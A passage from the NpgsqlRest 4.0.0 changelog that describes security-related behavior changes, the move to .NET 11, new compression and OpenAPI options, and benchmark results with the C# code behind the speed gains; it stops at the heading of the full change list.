Changelog v4.0.0
Version 4.0.0 (2026-11-20)
This is a major version. The number went from 3.21 to 4.0 because this release contains breaking changes: security fixes that change how logins, authorize, proxies, antiforgery and uploads behave, and a move of the npgsqlrest executable to .NET 11. Read the upgrade notes before upgrading; most applications need no change, and the ones that do will find it there. (During development this release was called 3.22.0.)
This release moves NpgsqlRest to .NET 11 (the library and plugins also keep supporting .NET 10) and is a security release. A full review of the codebase found several vulnerabilities, including one critical issue in password login. Everyone should upgrade. Some security fixes change behavior that applications may rely on. Each is described below, with what to check before upgrading.
It is also a performance release. Compared with 3.21.0, NpgsqlRest serves 21–24% more row requests per second with 28–36% less CPU and a half to a quarter of the memory, because rows are written as UTF-8 bytes straight from the database through one pooled request state and sent in larger network writes. Endpoints with user_context now send their context together with the routine in one database round trip instead of two, so they serve 41–69% more requests per second and answer about 120 µs sooner, and connections are reset between requests only when an endpoint actually leaves something on them. The measurements, as JIT and as native AOT, are under Performance.
Upgrade notes (read this first)
Most applications upgrade without changes. Go through this list; each item links to the full explanation.
Platform
- .NET 10 and .NET 11. The
NpgsqlRestlibrary and all plugin packages now target bothnet10.0(LTS) andnet11.0, so applications on .NET 10 can take this release without changing framework. Thenpgsqlrestexecutable and Docker images are built with .NET 11 and are self-contained, so nothing changes for them.
Changes that may need action
- Password login is stricter. If your login function returns a password hash column, a login now always fails unless the password was actually checked against that hash. → details
- Behind a reverse proxy or load balancer: the client IP is no longer read from
X-Forwarded-Forand similar headers. EnableForwardedHeaders(withForwardLimit: 1and your proxy listed), or every user shares the proxy's IP in rate limits and audit data. → details Antiforgery:Enabled: truenow protects API endpoints: POST, PUT, PATCH and DELETE requests must send the antiforgery token. → detailsauthorizewith user names or ids: values are roles now. Useuser:<name>orid:<value>, including SSE hints such asformat('authorize id:%s', _user_id). → detailsuser_paramson endpoints anonymous users can call: client-sent values for those parameters are ignored when the caller isn't signed in. → detailsproxyendpoints:Cookie,AuthorizationandProxy-Authorizationare no longer forwarded upstream, andSet-Cookieis no longer passed back. Remove a header fromProxyOptions:ExcludeHeadersif an upstream really needs it. → details- HTTP Custom Types: request values are percent-encoded in the URL, and calls without
@timeouttime out after 30 seconds. → details - Login clients: a wrong password now returns
401, not404. → details - Upload
row_commandwith{placeholders}: placeholders are no longer substituted in that SQL. → details user_contextandrequest_headers context: the values no longer stay on the database connection after the request. For functions, tables, views and single-statement SQL files they are now local to the request; a setting that is not set reads as an empty string, not NULL, so writenullif(current_setting('request.user_id', true), ''). For the other endpoints that use them (procedures, uploads, login and logout, multi-statement SQL files) and forBeforeRoutineCommands, every connection is now reset between requests unlessWrapInTransactionis on; settings left by your own SQL (set_config(..., false),SET ROLE, temporary tables) then no longer survive to the next request either. → details- Passkeys: frontends must send
userContextback exactly as received, and multi-instance deployments need shared Data Protection keys. → details - External login: accounts whose email the provider reports as unverified are rejected. With Microsoft login, identify users by the stable
subid rather than by email. → details - MCP from a browser page on the same named host (e.g.
https://app.example.comcalling its own/mcp): add that origin toMcpOptions.AllowedOrigins. → details
Visible changes that normally need no action
- Anonymous calls to
authorizeendpoints get401before validation runs, so they no longer see validation errors,204or404responses. → details - A
500caused by the infrastructure (for example, the database is unreachable) no longer includes the error message. PostgreSQL's own errors still do. → details - Rejected (rate-limited) requests now carry a
Retry-Afterheader. SetRateLimiterOptions:RetryAfterHeadertofalsefor the earlier response. → details - Three things ASP.NET Core 11 and .NET 11 change by themselves (the
npgsqlrestclient and its Docker images; not the library used on .NET 10):- With
ResponseCompressionenabled, every response now hasVary: Accept-Encoding, including the ones that were not compressed. A CDN or caching proxy in front may start keeping one copy perAccept-Encodingvalue; have it normalize that header. - Kestrel is stricter about HTTP. An HTTP/2 or HTTP/3 request with a
Connection,Keep-Alive,Proxy-Connection,Transfer-EncodingorUpgradeheader (orTEother thantrailers) is refused, and after an HTTP/1.1 request with bothContent-LengthandTransfer-Encodingthe connection is closed. A gateway that forwards such headers needs to stop doing so. - On x64, .NET 11 needs a processor with the x86-64-v2 instruction set (SSE4.2, POPCNT: in practice anything made since about 2009). On an older one the binary does not start and says "The current CPU is missing one or more of the baseline instruction sets".
- With
- SQL files: a comment line written without
@that begins withreturnsorresultis an annotation only when the rest of it looks like one; a sentence is a comment. Write@returnsand@resultto be explicit. → details - OpenAPI tags are separated by commas only:
@openapi tags a bis now one tag,a b. → details - Built-in
key = valuelines with a value that is not valid (raw = maybe) now log a warning. → details - A comment line that begins with
@and is not an annotation is no longer published as part of the endpoint's description, and an unknown@key = valuelogs a warning at startup. → details - OpenAPI summaries and descriptions show only the prose lines of routine comments, not the annotations. → details
- The memory cache holds at most 100,000 entries by default (
CacheOptions:MemoryCacheMaxEntries). → details - Multi-line SSE messages now arrive complete, as one event. → details
- Static files inside dot-directories (such as
.git) are no longer served;.well-knownstill is. → details - New startup warnings point out risky settings. → details
- Row responses smaller than 16 KB are sent in one piece when the query finishes, not every 25 rows. An endpoint meant to send rows as they are produced needs
buffer_rows 0. → details
.NET 11
The
npgsqlrestclient, the tests and the benchmarks targetnet11.0. The core library and every plugin targetnet10.0andnet11.0: .NET 10 is the long-term-support release (supported until November 2028), so library users on it get this release, including its security fixes, without changing framework. Everything compiles with C# 15.CI runs the full test suite twice: on .NET 11, and against the library's
net10.0build on the .NET 10 runtime (dotnet test NpgsqlRestTests -p:NpgsqlRestTestFramework=net10.0).The JIT Docker image (
Dockerfile.jit) uses the .NET 11aspnetandsdkbase images. The native AOT images are unchanged; they build a self-contained binary.CI builds, tests and publishes with the .NET 11 SDK (plus the .NET 10 runtime for the second test run).
global.jsonpins SDK11.0.100.CI now also publishes the native AOT executable and serves real requests with it: GET and POST, rows, an anonymous call to an
authorizeendpoint, gzip, a 200 KB value, 2,000 rows, endpoints withuser_contextandrequest_headers context, and 200 parallel requests (.github/scripts/aot-smoke-test.sh). This runs on every branch and before each release's Linux upload. A version check alone had missed an AOT build that crashed on its first request; see Runtime Async below.Runtime Async is not enabled, but it now can be. .NET 11 introduces Runtime Async (
<Features>runtime-async=on</Features>), which replaces compiler-generated async state machines with suspension managed by the runtime. NpgsqlRest was measured with it at each stage of this release:- With the original request handler, one very large async method, it was harmful. The native AOT build of
npgsqlrestcrashed on its very first request, and every wait for I/O saved about 13.7 KB of state instead of one 0.8 KB object. - With the handler split into a few large methods, the crash was gone, but every request still allocated about 1 KB more. The reason turned out to be simple: with Runtime Async, what a method saves while it waits is sized for its largest waiting point, and every wait in that method pays for it. The two main request methods each saved 450–480 bytes whenever a request waited for the database.
- With the request pipeline restructured into small methods around one request state (see Performance), Runtime Async costs almost nothing. It was measured next to the build that ships, as JIT and as native AOT: requests per second, response times and CPU per request are the same within measurement noise (the last column of the tables under Performance). It allocates about 0.3 KB more per request. The native AOT executable works with it and is 0.3 MB smaller, and the whole test suite passes with it.
So it is safe now, but it has no benefit yet, and it stays off. What is left has one cause: a request spends its waiting time inside Npgsql, and Npgsql 10 is not compiled with Runtime Async. Every wait that crosses that boundary costs an extra small object, while the build that ships reuses its async state from a pool. That changes when Npgsql ships Runtime Async builds, and it will be measured again then. To try it yourself, build with
-p:NpgsqlRestRuntimeAsync=true(it applies to thenet11.0builds; thenet10.0builds are never affected).- With the original request handler, one very large async method, it was harmful. The native AOT build of
What .NET 11 itself changes. The same 4.0.0 code was built for both runtimes and put under the same load (the method is described under Performance; same connection settings on both sides):
Same code, 4.0.0 JIT on .NET 10 JIT on .NET 11 AOT on .NET 10 AOT on .NET 11 Requests per second, text value (32 connections) 34,372 34,944 35,346 33,992 Requests per second, 100 rows (32 connections) 18,510 18,464 17,308 16,655 Response time, text value (one at a time) 189 µs 194 µs 193 µs 194 µs Response time, 119 KB JSON value (one at a time) 2.09 ms 2.31 ms 2.07 ms 2.17 ms Server CPU per request, text value 211 µs 152 µs 208 µs 163 µs Server CPU per request, 100 rows 360 µs 289 µs 382 µs 358 µs Process memory after the load 282 MB 141 MB 203 MB 62 MB On this machine .NET 11 serves about the same number of requests (up to 4% fewer as native AOT) and answers a single request slightly later (0–3%, a large value 5–11%). It does so with clearly less CPU time (6–28%) and with half to a third of the memory. These are numbers from one machine (macOS on Apple silicon); expect the direction, not the exact figures, elsewhere.
New with .NET 11
Three additions that .NET 11 and ASP.NET Core 11 made possible or worthwhile. All three are settings; nothing changes until they are used, except the Retry-After header, which is on.
Zstandard response compression
ASP.NET Core 11 can compress responses with Zstandard (Content-Encoding: zstd), which compresses about as well as Brotli for a fraction of the CPU time, and which current Chrome, Edge and Firefox ask for. The client can now use it:
jsonc
{
"ResponseCompression": {
"Enabled": true,
"UseZstandard": true, // new, default false
"UseBrotli": true,
"UseGzipFallback": true,
"CompressionLevel": "Optimal",
"ZstandardQuality": null // new: 1 (fastest) to 22 (smallest); null follows CompressionLevel
}
}- A client is answered with the encoding it prefers (
Accept-Encodingwith itsqvalues). Among the encodings it accepts equally, the order is Zstandard, Brotli, Gzip, so a browser that sendsgzip, deflate, br, zstdgets Zstandard, and a client that does not listzstdgets what it got before. CompressionLevelstands for a Zstandard quality:Optimalis 3 (the algorithm's own default),Fastestis 1,SmallestSizeis 19.ZstandardQualitysets it directly; a value outside 1 to 22 is ignored with a warning.- It is off by default so that an upgrade changes no response. The setting needs .NET 11, which is what the
npgsqlrestclient is built for.
OpenAPI 3.2, where HTTP QUERY endpoints can be described
Endpoints of the QUERY method (since 3.20.0) were left out of the OpenAPI document with a warning, because OpenAPI 3.0 and 3.1 have a fixed list of operations and query is not among them. OpenAPI 3.2 adds it. SpecVersion accepts a third value:
jsonc
{
"NpgsqlRest": {
"OpenApiOptions": {
"Enabled": true,
"SpecVersion": "3.2" // "3.0" (default), "3.1", or "3.2"
}
}
}With "3.2" the document says openapi: 3.2.0 and a QUERY endpoint is an operation like any other, under the query key of its path, next to get or post when the path has those too:
json
"/api/search": {
"query": {
"summary": "Search by a term.",
"tags": ["public"],
"operationId": "public_search_query",
"requestBody": { "required": true, "content": { "application/json": { "schema": { "type": "object", "properties": { "term": { "type": "string" } }, "required": ["term"] } } } },
"responses": { "200": { "description": "Successful response", "content": { "application/json": { "schema": { "type": "string" } } } } }
}
}Everything else in the document is the same as in the 3.0 document. The default stays "3.0": OpenAPI 3.2 is recent, so check that the tools reading your document (Swagger UI, code generators) understand it before choosing it. In 3.0 and 3.1 documents QUERY endpoints are still left out, and the warning now says which setting documents them. For library users: OpenApiOptions.SpecVersion = "3.2", and the constant OpenApiSpecVersions.V32.
Retry-After on rate-limited requests
A request rejected by the rate limiter got its status code and message, and nothing that says when to try again. It now carries the Retry-After header: the number of seconds, rounded up, until the limiter will let a request through.
code
HTTP/1.1 429 Too Many Requests
Retry-After: 42
Too many requests. Please try again later.- Fixed window: the time until the window ends. Sliding window: the time until a used permit leaves the window. Token bucket: the time until the next token. With a
Partition, it is the time for the caller's own bucket. - Concurrency policies send no header: the limiter cannot know when a running request will finish.
- Per-policy
StatusCodeandStatusMessagework as before; the header is added to whatever the policy answers. - .NET 11 is what makes the header worth sending: its fixed window limiter reports the time that is left (on .NET 10 it reports the whole window, whatever part of it has passed), and its sliding window limiter reports a time at all (on .NET 10 it does not).
jsonc
{
"RateLimiterOptions": {
"Enabled": true,
"RetryAfterHeader": true // new, default true; false sends rejections as before, without the header
}
}Performance
Compared with 3.21.0, this release serves 21–24% more row requests per second, needs 28–36% less CPU for them, 37–45% less CPU for large JSON values, and holds a half to a quarter of the memory under load. Small requests are served at the same rate as before. Endpoints with user_context or request_headers context need one database round trip instead of two: they serve 41–69% more requests per second and answer about 120 µs sooner.
NpgsqlRest runs in two ways, and they are measured separately:
- JIT: the NuGet library inside your own application, the JIT Docker image (
Dockerfile.jit),dotnet run. - Native AOT: the
npgsqlrestexecutable (npm, release downloads, the default Docker images).
Each was measured in three builds: 3.21.0 as released, on .NET 10; 4.0.0 on .NET 11, as it ships; and 4.0.0 on .NET 11 compiled with Runtime Async, which is not what ships (see .NET 11).
4.0.0 compared with 3.21.0
All builds were published the standard way, started with default settings, and put under load by an HTTP/1.1 client with keep-alive connections. Everything ran on one machine: Apple M4 Pro, PostgreSQL 17 in Docker, all on localhost. Four endpoints were used: a function returning one short text value, a PL/pgSQL function running five small queries, a function returning 100 rows of mixed column types (15 KB of JSON), and a function returning one 119 KB json value. Three runs each, in different orders; averages are shown. CPU per request is the server process's CPU time divided by the number of requests.
JIT
| 3.21.0 (.NET 10) | 4.0.0 (.NET 11) | Change | 4.0.0, Runtime Async | |
|---|---|---|---|---|
| Requests per second (32 connections) | ||||
| Text value | 39,242 | 39,162 | same | 39,681 |
| PL/pgSQL function | 32,637 | 32,074 | same | 32,166 |
| 100 rows | 16,484 | 20,471 | +24% | 20,194 |
| Response time, one request at a time | ||||
| Text value | 183 µs | 191 µs | +4% | 190 µs |
| PL/pgSQL function | 255 µs | 261 µs | +2% | 262 µs |
| 100 rows | 454 µs | 420 µs | −7% | 423 µs |
| 119 KB JSON value | 2.40 ms | 2.26 ms | −6% | 2.22 ms |
| Server CPU per request (8 connections) | ||||
| Text value | 201 µs | 145 µs | −28% | 141 µs |
| 100 rows | 425 µs | 273 µs | −36% | 273 µs |
| 119 KB JSON value | 882 µs | 484 µs | −45% | 476 µs |
| Process memory after the load | 333 MB | 147 MB | −56% | 147 MB |
Native AOT
| 3.21.0 (.NET 10) | 4.0.0 (.NET 11) | Change | 4.0.0, Runtime Async | |
|---|---|---|---|---|
| Requests per second (32 connections) | ||||
| Text value | 39,071 | 38,136 | same | 37,836 |
| PL/pgSQL function | 31,847 | 30,841 | −3% | 31,029 |
| 100 rows | 15,464 | 18,707 | +21% | 18,947 |
| Response time, one request at a time | ||||
| Text value | 183 µs | 192 µs | +5% | 191 µs |
| PL/pgSQL function | 251 µs | 260 µs | +4% | 261 µs |
| 100 rows | 481 µs | 473 µs | same | 475 µs |
| 119 KB JSON value | 2.37 ms | 2.12 ms | −11% | 2.13 ms |
| Server CPU per request (8 connections) | ||||
| Text value | 158 µs | 151 µs | −4% | 150 µs |
| 100 rows | 457 µs | 327 µs | −28% | 323 µs |
| 119 KB JSON value | 780 µs | 493 µs | −37% | 489 µs |
| Process memory after the load | 248 MB | 64 MB | −74% | 66 MB |
How to read this:
- Differences of about 3% or less are within the variation between runs ("same"). The load client and PostgreSQL ran on the same machine as the server, so requests per second compare the builds; they are not a capacity figure.
- Small requests take about 8 µs longer one at a time, and are served at the same rate under load. That comes from .NET 11, not from NpgsqlRest: a request this small is almost entirely the HTTP stack and one database round trip, and a plain ASP.NET Core endpoint with no database and no NpgsqlRest takes 30 µs on .NET 10 and 39 µs on .NET 11 in the benchmark below. NpgsqlRest's own share of such a request went down, from about 20 µs to about 10 µs.
- Part of the CPU and most of the memory difference is .NET 11 itself. On .NET 10, the same 4.0.0 code already needs 11–12% less CPU for rows, 18–31% less for large values and about a sixth less memory than 3.21.0; .NET 11 does the rest (see .NET 11).
- Runtime Async makes no measurable difference, in either direction, in JIT or in native AOT.
- JIT or AOT? Under this load the JIT build needs 2–17% less CPU per request and serves about 9% more row requests, and the AOT executable needs less than half the memory and starts instantly. That trade-off is the same as before.
Connections are reset only when needed
A request can leave session-level settings on its database connection. Up to 3.21.0, user_context and request_headers context always did: they passed their values to PostgreSQL with set_config(..., false), and the npgsqlrest client never cleared them (it forced No Reset On Close=true), which is the leak fixed in this release (details). The first fix was to let Npgsql reset every connection when it returns to the pool. That is safe, and it turned out to be expensive: Npgsql's reset is DISCARD ALL, PostgreSQL runs it before every request, and it also discards the cached query plans, so each request plans every statement of the PL/pgSQL functions it calls again.
| Native AOT (the JIT figures are 1–6% higher) | No reset | Reset, as 4.0.0 does it | DISCARD ALL |
|---|---|---|---|
| Text value, requests per second (32 connections) | 38,136 | 33,297 | 33,928 |
| PL/pgSQL function with five queries, requests per second | 30,841 | 26,968 | 21,904 |
| PL/pgSQL function with five queries, response time | 260 µs | 278 µs | 360 µs |
So 4.0.0 does three things:
Most requests no longer leave anything behind. The request context of functions, tables, views and single-statement SQL files is sent together with the routine, as settings that exist only for that one request. See The request context travels with the routine below.
It resets only when something can be left behind. At startup, once the endpoints are built, the client checks whether any request can leave session-level settings on a connection:
Your application Connections are reset user_contextorrequest_headers contexton a procedure, an upload, login or logout endpoint, a SQL file with several statements (or with a statement that is not a query or data change), or a routine returning a singlebyteavalueYes, after every request, for all endpoints An upload endpoint sets the upload metadata context key, or BeforeRoutineCommandsare configuredYes, after every request, for all endpoints Any of the above, with WrapInTransactionenabledNo: the settings are local to the request's transaction user_contextorrequest_headers contextonly on functions, tables, views and single-statement SQL filesNo: the context is local to the request None of these features No: nothing NpgsqlRest does stays on a connection The connection string contains No Reset On CloseAs you set it: truenever,falsealwaysThe decision is logged at debug level. The numbers in the tables above are from an application of the fifth kind. Note that
NpgsqlRest:AuthenticationOptions:UseUserContext: trueturns the context on for every endpoint, login and logout endpoints included, which is the first kind; putting theuser_contextannotation on the endpoints that read the context avoids that.When it resets, it keeps the query plans. The client prepares one trivial statement on every new database connection. With a prepared statement present, Npgsql resets a connection with the individual commands (
RESET ALL,CLOSE ALL,UNLISTEN *, releasing advisory locks,DISCARD SEQUENCES,DISCARD TEMP) instead ofDISCARD ALL. Settings, the role, temporary tables, advisory locks, listeners and cursors are cleared exactly as before; cached plans and prepared statements are kept. PostgreSQL re-plans on its own when the search path, the role or a referenced object changes.
Two things to know:
- Session state left behind by your own SQL (a
set_config(..., false)inside a function, a temporary table,SET ROLE) is cleared only when connections are reset. If your routines depend on a clean session and no endpoint uses the features in the table, addNo Reset On Close=falseto the connection string. In 3.21.0 and earlier such state was never cleared. - SQL that runs
PREPARE name AS ...mustDEALLOCATEit, as in 3.21.0: prepared statements survive the reset.
For library users: you create the data source, so nothing changes by itself. Npgsql resets its connections with DISCARD ALL unless you set No Reset On Close. After UseNpgsqlRest, the new NpgsqlRestOptions.ConnectionResetRequired tells you whether your endpoints need the reset, and this keeps the plans when you do reset:
csharp
var dataSourceBuilder = new NpgsqlDataSourceBuilder(connectionString);
// With a prepared statement on the connection, Npgsql resets it with RESET ALL etc. instead of DISCARD ALL.
dataSourceBuilder.UsePhysicalConnectionInitializer(
connection => { using var command = new NpgsqlCommand("select 1", connection); command.Prepare(); },
async connection => { await using var command = new NpgsqlCommand("select 1", connection); await command.PrepareAsync(); });The request context travels with the routine
user_context and request_headers context pass values to PostgreSQL as settings, which the routine reads with current_setting(). Until now they were set by a separate command before the routine ran. That is a second round trip to the database for every such request, and because the settings were made at session level, they stayed on the connection afterwards, which is what makes the connection reset above necessary.
For functions, tables, views and SQL files with a single query or data-changing statement, the settings and the routine now go to PostgreSQL together. This is what PostgreSQL receives for one request to a function with user_context (taken from its statement log):
| 3.21.0 | 4.0.0 |
|---|---|
select set_config($1,$2,false)select set_config($1,$2,false)select set_config($1,$2,false)select set_config($1,$2,false)(the response comes back, then:) select public.who_am_i(_greeting=>$1) | select set_config($1,$2,true) is null,set_config($3,$4,true) is null,set_config($5,$6,true) is null,set_config($7,$8,true) is nullselect public.who_am_i(_greeting=>$1) |
| two round trips | one round trip |
| the four settings stay on the connection | nothing stays on the connection |
PostgreSQL runs the two statements in one transaction, and the settings are local to it (is_local = true): the routine sees them, and they are gone when it ends. The routine's own statement is sent exactly as before.
Measured like the tables above, with the endpoints called by a signed-in user (cookie authentication), so every request carries four context settings: the IP address, user id, user name and roles. The three user_context endpoints are a function returning a short text value, the PL/pgSQL function with five queries, and the function returning 100 rows. Three runs each, in different orders; averages are shown. PostgreSQL CPU per request is the CPU time of the PostgreSQL container divided by the number of requests.
JIT
| 3.21.0 (.NET 10) | 4.0.0 (.NET 11) | Change | |
|---|---|---|---|
| Requests per second (32 connections) | |||
Text value, user_context | 21,070 | 35,704 | +69% |
PL/pgSQL function, user_context | 19,314 | 30,094 | +56% |
100 rows, user_context | 11,710 | 17,803 | +52% |
| Text value without context, same application | 39,429 | 38,048 | −4% |
| Response time, one request at a time | |||
Text value, user_context | 335 µs | 217 µs | −35% |
PL/pgSQL function, user_context | 399 µs | 282 µs | −29% |
100 rows, user_context | 648 µs | 521 µs | −20% |
| Text value without context, same application | 186 µs | 199 µs | +7% |
| Server CPU per request (8 connections) | |||
Text value, user_context | 320 µs | 166 µs | −48% |
100 rows, user_context | 650 µs | 313 µs | −52% |
| PostgreSQL CPU per request (8 connections) | |||
Text value, user_context | 97 µs | 60 µs | −38% |
100 rows, user_context | 362 µs | 300 µs | −17% |
Native AOT
| 3.21.0 (.NET 10) | 4.0.0 (.NET 11) | Change | |
|---|---|---|---|
| Requests per second (32 connections) | |||
Text value, user_context | 21,209 | 35,570 | +68% |
PL/pgSQL function, user_context | 18,789 | 28,532 | +52% |
100 rows, user_context | 11,591 | 16,376 | +41% |
| Text value without context, same application | 38,108 | 37,094 | same |
| Response time, one request at a time | |||
Text value, user_context | 337 µs | 218 µs | −35% |
PL/pgSQL function, user_context | 398 µs | 281 µs | −29% |
100 rows, user_context | 691 µs | 545 µs | −21% |
| Text value without context, same application | 189 µs | 199 µs | +5% |
| Server CPU per request (8 connections) | |||
Text value, user_context | 255 µs | 172 µs | −32% |
100 rows, user_context | 607 µs | 366 µs | −40% |
| PostgreSQL CPU per request (8 connections) | |||
Text value, user_context | 97 µs | 60 µs | −39% |
100 rows, user_context | 371 µs | 306 µs | −18% |
How to read this:
- A request with
user_contextnow costs one database round trip less. Each of the three endpoints answers about 120 µs sooner, which is what one round trip to PostgreSQL takes on this machine, and under load they serve 41–69% more requests. - The context itself is now almost free. In 3.21.0 the text value took 335 µs with
user_contextand 186 µs without it (JIT, one request at a time). Now it takes 217 µs with it and 199 µs without. - PostgreSQL has less to do as well: 38–39% less CPU for the small request and 17–18% less for 100 rows. It gets one statement that sets all the settings instead of a statement per setting, and one transaction per request instead of two.
- The server's CPU per request includes the other improvements of this release, which is why it falls even more for rows.
- An endpoint without context is not affected. The last row of the first two groups is the text value from the tables above, in the same application and called with the same login cookie. Its small difference is the .NET 11 effect described there; the cookie costs the same 8 µs or so in both versions.
Which endpoints this applies to, and what else to know:
- It applies to functions, tables and views, and SQL files that consist of one query or data-changing statement (
select,with,insert,update,delete,merge,values,table). - It does not apply to procedures (a procedure can
COMMIT, which would end the local settings while it is still running), SQL files with several statements or with another kind of statement (call,do, ...), upload, login and logout endpoints, and routines that return a singlebyteavalue. It is also off for all endpoints whenBeforeRoutineCommandsare configured, and withWrapInTransaction, where the context is already local to the request's transaction. These endpoints set their context as before, with a separate command. - A cached response no longer touches the database. For an endpoint with
user_contextandcached, a cache hit used to open a connection and set the context before the cached value was returned. Now nothing is sent. NpgsqlRest:AuthenticationOptions:UseUserContext: trueturns the context on for every endpoint, including login and logout endpoints. Those keep the session-level context, so such an application still resets its connections (above); all its other endpoints still save the round trip.- In PostgreSQL's statement log and in
pg_stat_statements, the context of such a request is now oneselect set_config(...) is null, ...statement instead of oneselect set_config($1,$2,false)per setting. - What your SQL sees is the same, with one exception that was already true after a connection reset: a setting that is not set reads as an empty string, not NULL (see What to check).
For library users:
- Nothing to configure.
RoutineEndpoint,NpgsqlRestOptionsand the callbacks are unchanged, with one exception: whenCommandCallbackAsyncis set, the context is set by a separate command as before, because the callback works with the routine's command and may execute it itself. - This uses one non-public member of Npgsql. NpgsqlRest reads every value as text, and for a batch Npgsql has that switch (
NpgsqlBatch.AllResultTypesAreUnknown) only as an internal property; making it public is on Npgsql's backlog (npgsql/npgsql#3922). NpgsqlRest reaches it without reflection, so trimmed and native AOT builds work, and checks once at startup that it is there. If your application runs with an Npgsql version that does not have it, NpgsqlRest logs one informational message and sets the context the old way, with a separate command. Nothing else changes in that case. The package references Npgsql 10.0.3, where it is present, and a test fails if an Npgsql upgrade ever removes it.
JIT: BenchmarkDotNet
The endpoint benchmarks in BenchmarkTests (dotnet run -c Release -- --endpoints). They send one request at a time to an in-process server, which runs as JIT code and uses the library directly. GetText is the text value above and GetRows100 the 100 rows. Allocations are per request, client and server together. Two interleaved runs each, averages shown.
| JIT | 3.21.0 (.NET 10) | 4.0.0 (.NET 11) | Change | 4.0.0, Runtime Async |
|---|---|---|---|---|
GetText allocated | 7.13 KB | 4.90 KB | −31% | 4.94 KB |
GetRows100 allocated | 190.7 KB | 51.0 KB | −73% | 51.1 KB |
GetRows100 garbage collections per 1,000 requests (gen 0 / gen 1) | 23.4 / 3.4 | 6.3 / 0.5 | −73% / −86% | 6.3 / 0.5 |
GetText mean time | 177.0 µs | 180.6 µs | +2% | 178.4 µs |
GetRows100 mean time | 425.1 µs | 397.4 µs | −7% | 397.6 µs |
Of the 51.0 KB that
GetRows100still allocates, 44.6 KB is the benchmark's own client holding the response (a 15,217-character string and its byte buffer). Everything else together (the client's HTTP stack, Kestrel, Npgsql and NpgsqlRest) went from 146 KB to 6 KB.For
GetText, two reference benchmarks give the floor: the same HTTP round trip without a database and the same query without HTTP. On .NET 11 they allocate 3.03 KB and 1.57 KB, 4.60 KB together, and NpgsqlRest adds 0.30 KB on top of them. In 3.21.0 on .NET 10 the same two took 4.54 KB and NpgsqlRest added 2.59 KB.Time: the two reference benchmarks take 30.3 µs and 127.1 µs on .NET 10, and 39.1 µs and 131.7 µs on .NET 11. That is 13 µs more for the same work on .NET 11, and it is why
GetTextis not faster although NpgsqlRest's own part of it roughly halved (177.0 − 157.4 = 20 µs before, 180.6 − 170.8 = 10 µs now).GetTextUserContextis new in these benchmarks: the same text value from an endpoint withuser_context, which sends four context settings with the request (see The request context travels with the routine). With the context in a separate round trip, the way 3.21.0 sends it, the request took 333.8 µs and allocated 10.17 KB; that was measured on the 4.0.0 code just before the change, because 3.21.0 does not have this benchmark. With the context sent together with the routine it takes 207.1 µs and allocates 8.76 KB. One run each;GetTextandGetRows100came out the same in both runs.
Allocations per request can only be measured this way in JIT mode. The code is the same in the native AOT executable, and its memory under load fell accordingly.
How the speed was gained, in code
Four changes account for almost all of it. The code is shortened, but it is what a request does.
1. A row is built from the bytes PostgreSQL sent, not from strings. PostgreSQL sends every value as UTF-8 text and the response is UTF-8, so no value has to become a .NET string on the way.
csharp
// 3.21.0: a string per value, a UTF-16 row, and then everything encoded back to UTF-8
object value = reader.GetValue(i); // allocates a string for every value of every row
var raw = ((string)value).AsSpan();
rowBuilder.Append(jsonColumnNames[i]); // rowBuilder is a StringBuilder
JsonValueFormatter.FormatValue(raw, value, descriptor, rowBuilder);
// ...
WriteStringBuilderToWriter(rowBuilder, writer); // encodes the row to UTF-8
// 4.0.0: the value's bytes go from the reader into a pooled byte buffer
using var stream = reader.GetStream(i); // the raw column; Npgsql reuses the stream object
stream.ReadExactly(scratch, 0, length);
rowBuilder.Append(utf8JsonColumnNames[i]); // rowBuilder is a byte buffer; "name": is prepared once, as bytes
JsonValueFormatter.FormatValue(scratch.AsSpan(0, length), isNull, descriptor, rowBuilder); // escapes and converts on bytes
// ...
writer.Write(rowBuilder.WrittenSpan); // already UTF-8A 100-row response used to create about 1,500 short-lived strings. Together with change 3, this took what such a request allocates from 146 KB to 6 KB (without the benchmark client's own copy of the response).
2. Rows leave in pieces of 16 KB, not every 25 rows.
csharp
// 3.21.0: a network write and an HTTP chunk every 25 rows
if (rowCount % bufferRows == 0)
{
WriteStringBuilderToWriter(rowBuilder, writer);
await writer.FlushAsync(cancellationToken);
}
// 4.0.0: checked every 25 rows, sent once 16 KB is collected (ResponseBufferBytes), and at the end
if (rowCount % bufferRows == 0 && rowBuilder.Length >= responseBufferBytes)
{
writer.Write(rowBuilder.WrittenSpan);
await writer.FlushAsync(cancellationToken);
rowBuilder.Clear();
}A 15 KB response went out in five pieces; it now goes out in one. That alone is about a tenth of the CPU of a 100-row request.
3. One request state, reused, and small async methods around it.
csharp
// 3.21.0: one async method of about 3,400 lines. Dozens of locals stayed alive across every await,
// and in JIT deployments the method was too large for the JIT to optimize at all.
public async Task InvokeAsync(HttpContext context, ...) { /* bind, context, upload, execute, render */ }
// 4.0.0: what a request needs lives in one object taken from a pool, and the request is a sequence of stages
var s = RequestState.Rent();
try
{
if (await BeginRequestAsync(s) is false || await PrepareParametersAsync(s) is false) return;
await SetRequestContextAsync(s);
// ...
await RenderRecordsAsync(s); // one render method per kind of result
}
finally
{
await CompleteRequestAsync(s);
RequestState.Return(s);
}Each stage is a small method that keeps almost nothing alive while it waits for the database. NpgsqlRest's own allocations for a small request went from 2.59 KB to 0.30 KB.
4. The request context goes to PostgreSQL together with the routine.
csharp
// 3.21.0: two round trips for every request with user_context
await using var context = new NpgsqlBatch(connection);
context.BatchCommands.Add(new NpgsqlBatchCommand("select set_config($1,$2,false)")); // one per setting
await context.ExecuteNonQueryAsync(); // round trip 1
await using var reader = await command.ExecuteReaderAsync(); // round trip 2: the routine
// 4.0.0: one batch, one round trip, and the settings are local to its transaction
var batch = new NpgsqlBatch(connection);
batch.BatchCommands.Add(new NpgsqlBatchCommand("select set_config($1,$2,true) is null,set_config($3,$4,true) is null"));
batch.BatchCommands.Add(new NpgsqlBatchCommand("select public.my_function($1)")); // the routine, unchanged
await using var reader = await batch.ExecuteReaderAsync();
await reader.NextResultAsync(); // past the context statement, to the routine's rowsA text value from an endpoint with user_context went from 335 µs to 217 µs, and from 21,070 to 35,704 requests per second (JIT). Because nothing stays on the connection, it also does not have to be reset afterwards; the reset rule and its code are under Connections are reset only when needed.
The complete list follows.
What changed
